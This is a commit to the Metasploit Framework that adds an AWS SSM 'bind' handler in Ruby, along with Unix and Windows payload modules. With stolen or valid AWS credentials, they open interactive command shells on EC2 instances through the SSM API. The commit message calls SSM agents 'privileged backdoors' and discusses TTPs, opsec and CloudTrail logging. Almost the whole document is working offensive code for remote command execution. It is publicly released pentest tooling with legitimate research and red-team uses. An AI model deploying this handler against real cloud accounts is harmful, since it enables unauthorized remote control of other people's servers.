Initial implementation for AWS SSM shells
Amazon Web Services provides conveniently privileged backdoors in the form of their SSM agents which do not require connectivity with the target instance, merely valid credentials to AWS' API. Due to this indirect "connection" paradigm, this mechanism can be used to control otherwise "air-gapped" targets. This approach abstracts asynchronous request/response parsing for SSM requests into an IO channel with which the AWS SSM client is then wrapped to emulate the expected Stream. The mechanism is rather raw and could use better error handling, retries on laggy output, and a threadsafe cursor implementation. It may be possible to start an actually interactive session using the #start_session method in the AWS client library, but so far testing has not yielded positive results. There is a significant limitation with these sessions not present in normal stream-wise abstractions: a response limit of 2500 chars. This limitation can be overcome by utilizing an S3 bucket to store command output; however, due to the nature of access we seek to obtain, it would not only add to the logged event loads but retain the results of our TTPs in a "buffer" accessible to other people. This functionality can be added down the line in the form of S3 config options in the handler to be passed into the SSM client for command execution and acquisition of output. Testing: Gets sessions, provides command IO, leaves a bunch of log entries in CloudTrail (something to keep in mind for opsec considerations). Next steps: Reorganize our WebSocket code a bit to provide connection and WS state management inside Rex::Proto::Http::Client which can then be exposed to the Handler without having to mix-in other namespaces from Exploit. Use the #start_session SSM Client method to extract the WS URL for the relevant channel, and utilize that as the underpinning for our session comms.
This commit is contained in:
@@ -0,0 +1,346 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
require 'aws-sdk-ssm'
|
||||
###
|
||||
#
|
||||
# This module implements the AWS SSM handler. This means that
|
||||
# it will attempt to connect to a remote host through the AWS SSM pipe for
|
||||
# a period of time (typically the duration of an exploit) to see if a the
|
||||
# agent has started listening.
|
||||
#
|
||||
###
|
||||
module BindAwsSsm
|
||||
include Msf::Handler
|
||||
###
|
||||
#
|
||||
# This module implements SSM R/W abstraction to mimic Rex::IO::Stream interfaces
|
||||
# These methods are not fully synchronized/thread-safe as the req/resp chain is
|
||||
# itself async and rely on a cursor to obtain responses when they are ready from
|
||||
# the SSM API.
|
||||
#
|
||||
###
|
||||
|
||||
class AwsSsmSessionChannel
|
||||
|
||||
include Rex::IO::StreamAbstraction
|
||||
|
||||
def initialize(framework, ssmclient, peer_info)
|
||||
@framework = framework
|
||||
@peer_info = peer_info
|
||||
@ssmclient = ssmclient
|
||||
@cursor = nil
|
||||
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(AwsSsmSessionChannelExt)
|
||||
# self.lsock.peerinfo = peer_info['ComputerName'] + ':0'
|
||||
self.lsock.peerinfo = peer_info['IpAddress'] + ':0'
|
||||
# Fudge the portspec since each client request is actually a new connection w/ a new source port, for now
|
||||
self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://','')) + ':0'
|
||||
|
||||
monitor_shell_stdout
|
||||
end
|
||||
|
||||
#
|
||||
# Funnel data from the shell's stdout to +rsock+
|
||||
#
|
||||
# +StreamAbstraction#monitor_rsock+ will deal with getting data from
|
||||
# the client (user input). From there, it calls our write() below,
|
||||
# funneling the data to the shell's stdin on the other side.
|
||||
#
|
||||
def monitor_shell_stdout
|
||||
@monitor_thread = @framework.threads.spawn("AwsSsmSessionHandlerMonitor", false) {
|
||||
begin
|
||||
while true
|
||||
Rex::ThreadSafe.sleep(0.5) while @cursor.nil?
|
||||
# Handle data from the API and write to the client
|
||||
buf = ssm_read
|
||||
break if buf.nil?
|
||||
rsock.put(buf)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
ilog("AwsSsmSession monitor thread raised #{e.class}: #{e}")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# Find command response on cursor and return to caller - doesn't respect length arg, yet
|
||||
def ssm_read(length = nil, opts = {})
|
||||
maxw = opts[:timeout] ? opts[:timeout] : 30
|
||||
start = Time.now
|
||||
resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true)
|
||||
while (resp.command_invocations.empty? or resp.command_invocations[0].status == "InProgress") and
|
||||
(Time.now - start).to_i.abs < maxw do
|
||||
Rex::ThreadSafe.sleep(1)
|
||||
resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true)
|
||||
end
|
||||
# SSM script invocation states are: InProgress, Success, TimedOut, Cancelled, Failed
|
||||
if resp.command_invocations[0].status == "Success" or resp.command_invocations[0].status == "Failed"
|
||||
# The big limitation: SSM command outputs are only 2500 chars max, otherwise you have to write to S3 and read from there
|
||||
output = resp.command_invocations.map {|c| c.command_plugins.map {|p| p.output}.join}.join
|
||||
@cursor = nil
|
||||
return output
|
||||
else
|
||||
@cursor = nil
|
||||
ilog("AwsSsmSession error #{resp}")
|
||||
raise resp
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def write(buf, opts = {})
|
||||
resp = @ssmclient.send_command(
|
||||
document_name: 'AWS-RunShellScript',
|
||||
instance_ids: [@peer_info['InstanceId']],
|
||||
parameters: { commands: [buf] }
|
||||
)
|
||||
if resp.command.error_count == 0
|
||||
@cursor = resp.command.command_id
|
||||
return buf.length
|
||||
else
|
||||
@cursor = nil
|
||||
ilog("AwsSsmSession error #{resp}")
|
||||
raise resp
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the stream abstraction and kills the monitor thread.
|
||||
#
|
||||
def close
|
||||
@monitor_thread.kill if (@monitor_thread)
|
||||
@monitor_thread = nil
|
||||
|
||||
cleanup_abstraction
|
||||
end
|
||||
end
|
||||
#
|
||||
# Returns the handler specific string representation, in this case
|
||||
# 'bind_tcp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "bind_aws_ssm"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection oriented general handler type, in this case bind.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"bind"
|
||||
end
|
||||
|
||||
# A string suitable for displaying to the user
|
||||
#
|
||||
# @return [String]
|
||||
def human_name
|
||||
"bind AWS SSM"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes a bind handler and adds the options common to all bind
|
||||
# payloads, such as local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('AWS_EC2_ID', [true, 'The EC2 ID of the instance ', '']),
|
||||
OptString.new('AWS_REGION', [true, 'AWS region containing the instance', 'us-east-1']),
|
||||
OptString.new('AWS_AK', [false, 'AWS access key', nil]),
|
||||
OptString.new('AWS_SK', [false, 'AWS secret key', nil]),
|
||||
OptString.new('AWS_ROLE_ARN', [false, 'AWS assumed role ARN', nil]),
|
||||
OptString.new('AWS_ROLE_SID', [false, 'AWS assumed role session ID', nil]),
|
||||
], Msf::Handler::BindAwsSsm)
|
||||
|
||||
self.bind_thread = nil
|
||||
self.conn_thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Kills off the connection threads if there are any hanging around.
|
||||
#
|
||||
def cleanup_handler
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
stop_handler
|
||||
self.bind_thread = nil
|
||||
self.conn_thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Starts a new connecting thread
|
||||
#
|
||||
def add_handler(opts={})
|
||||
|
||||
# Merge the updated datastore values
|
||||
opts.each_pair do |k,v|
|
||||
datastore[k] = v
|
||||
end
|
||||
|
||||
# Start a new handler
|
||||
start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an outbound connection to become established.
|
||||
#
|
||||
def start_handler
|
||||
|
||||
# Maximum number of seconds to run the handler
|
||||
ctimeout = 150
|
||||
|
||||
# Maximum number of seconds to await initial API response
|
||||
rtimeout = 5
|
||||
|
||||
if (exploit_config and exploit_config['active_timeout'])
|
||||
ctimeout = exploit_config['active_timeout'].to_i
|
||||
end
|
||||
|
||||
# Start a new handling thread
|
||||
self.bind_thread = framework.threads.spawn("BindAwsSsmHandler-#{datastore['AWS_EC2_ID']}", false) {
|
||||
client = nil
|
||||
|
||||
print_status("Started #{human_name} handler against #{datastore['AWS_EC2_ID']}:#{datastore['AWS_REGION']}")
|
||||
|
||||
if (datastore['AWS_EC2_ID'] == nil or datastore['AWS_EC2_ID'].strip.empty?)
|
||||
raise ArgumentError,
|
||||
"AWS_EC2_ID is not defined; SSM handler cannot function.",
|
||||
caller
|
||||
end
|
||||
|
||||
stime = Time.now.to_i
|
||||
|
||||
while (stime + ctimeout > Time.now.to_i)
|
||||
begin
|
||||
ssm_client, peer_info = get_ssm_session
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.message)
|
||||
rescue
|
||||
wlog("Exception caught in SSM handler: #{$!.class} #{$!}")
|
||||
end
|
||||
break if ssm_client
|
||||
|
||||
# Wait a second before trying again
|
||||
Rex::ThreadSafe.sleep(0.5)
|
||||
end
|
||||
|
||||
# Valid client connection?
|
||||
if (ssm_client)
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy|
|
||||
begin
|
||||
chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy)
|
||||
handle_connection(chan.lsock, { datastore: datastore })
|
||||
rescue => e
|
||||
elog('Exception raised from BindAwsSsm.handle_connection', error: e)
|
||||
end
|
||||
}
|
||||
else
|
||||
wlog("No connection received before the handler completed")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# A URI describing what the payload is configured to use for transport
|
||||
def payload_uri
|
||||
"ssm://#{datastore['AWS_EC2_ID']}:0"
|
||||
end
|
||||
|
||||
def comm_string
|
||||
if bind_sock.nil?
|
||||
"(setting up)"
|
||||
else
|
||||
via_string(bind_sock.client) if bind_sock.respond_to?(:client)
|
||||
end
|
||||
end
|
||||
|
||||
def stop_handler
|
||||
if (self.conn_thread and self.conn_thread.alive? == true)
|
||||
self.bind_thread.kill
|
||||
self.bind_thread = nil
|
||||
end
|
||||
|
||||
if (self.bind_thread and self.bind_thread.alive? == true)
|
||||
self.bind_thread.kill
|
||||
self.bind_thread = nil
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Starts an SSM session, verifying presence of target
|
||||
#
|
||||
def get_ssm_session
|
||||
# Configure AWS credentials
|
||||
credentials = if datastore['AWS_AK'] and datastore['AWS_SK']
|
||||
::Aws::Credentials.new(datastore['AWS_AK'], datastore['AWS_SK'])
|
||||
else
|
||||
nil
|
||||
end
|
||||
credentials = if datastore['AWS_ROLE_ARN'] and datastore['AWS_ROLE_SID']
|
||||
::Aws::AssumeRoleCredentials.new(
|
||||
client: ::Aws::STS::Client.new(
|
||||
region: datastore['AWS_REGION'],
|
||||
credentials: credentials
|
||||
),
|
||||
role_arn: datastore['AWS_ROLE_ARN'],
|
||||
role_session_name: datastore['AWS_ROLE_SID']
|
||||
)
|
||||
else
|
||||
credentials
|
||||
end
|
||||
|
||||
client = ::Aws::SSM::Client.new(
|
||||
region: datastore['AWS_REGION'],
|
||||
credentials: credentials,
|
||||
)
|
||||
# Verify the connection params and availability of instance
|
||||
inv_params = { filters: [
|
||||
{
|
||||
key: "AWS:InstanceInformation.InstanceId",
|
||||
values: [datastore['AWS_EC2_ID']],
|
||||
type: "Equal",
|
||||
}
|
||||
]}
|
||||
inventory = client.get_inventory(inv_params)
|
||||
# Extract peer info
|
||||
if inventory.entities[0] and inventory.entities[0].id == datastore['AWS_EC2_ID']
|
||||
peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0]
|
||||
else
|
||||
raise "SSM target not found"
|
||||
end
|
||||
return [client, peer_info]
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :bind_thread # :nodoc:
|
||||
attr_accessor :conn_thread # :nodoc:
|
||||
|
||||
|
||||
module AwsSsmSessionChannelExt
|
||||
attr_accessor :localinfo
|
||||
attr_accessor :peerinfo
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -214,6 +214,7 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'aws-sdk-s3'
|
||||
spec.add_runtime_dependency 'aws-sdk-ec2'
|
||||
spec.add_runtime_dependency 'aws-sdk-iam'
|
||||
spec.add_runtime_dependency 'aws-sdk-ssm'
|
||||
|
||||
# Needed for WebSocket Support
|
||||
spec.add_runtime_dependency 'faye-websocket'
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 70
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind SSM (via AWS API)',
|
||||
'Description' => 'Creates an interactive shell using AWS SSM',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindAwsSsm,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate(_opts = {})
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
""
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 70
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Command Shell, Bind SSM (via AWS API)',
|
||||
'Description' => 'Creates an interactive shell using AWS SSM',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'windows',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindAwsSsm,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate(_opts = {})
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
""
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user